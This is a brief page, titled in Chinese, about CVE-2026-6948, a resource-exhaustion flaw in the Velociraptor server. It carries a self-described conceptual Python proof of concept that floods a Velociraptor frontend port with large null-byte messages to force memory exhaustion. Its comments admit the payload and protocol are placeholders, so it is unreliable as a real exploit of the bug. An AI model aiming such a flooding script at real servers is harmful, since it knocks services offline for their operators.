CVE-2026-6948 Velociraptor 服务器资源耗尽漏洞

import socket import struct # Conceptual PoC for CVE-2026-6948 # This script attempts to trigger OOM on a vulnerable Velociraptor server # by sending malformed messages to the agent control channel. target_host = "127.0.0.1" target_port = 8000 # Default Velociraptor frontend port def send_malicious_message(sock): # Construct a payload designed to exhaust memory # In a real scenario, this would match the specific message protocol # that triggers the allocation bug. payload = b"\x00" * 102400 # Large payload placeholder # Prepend length header (example protocol structure) header = struct.pack(">I", len(payload)) message = header + payload try: sock.sendall(message) print("Malicious message sent.") except Exception as e: print(f"Error sending message: {e}") try: # Establish connection to the server with socket.create_connection((target_host, target_port), timeout=5) as s: print(f"Connected to {target_host}:{target_port}") # Send multiple messages to accelerate OOM for i in range(1000): send_malicious_message(s) except Exception as e: print(f"Connection failed: {e}")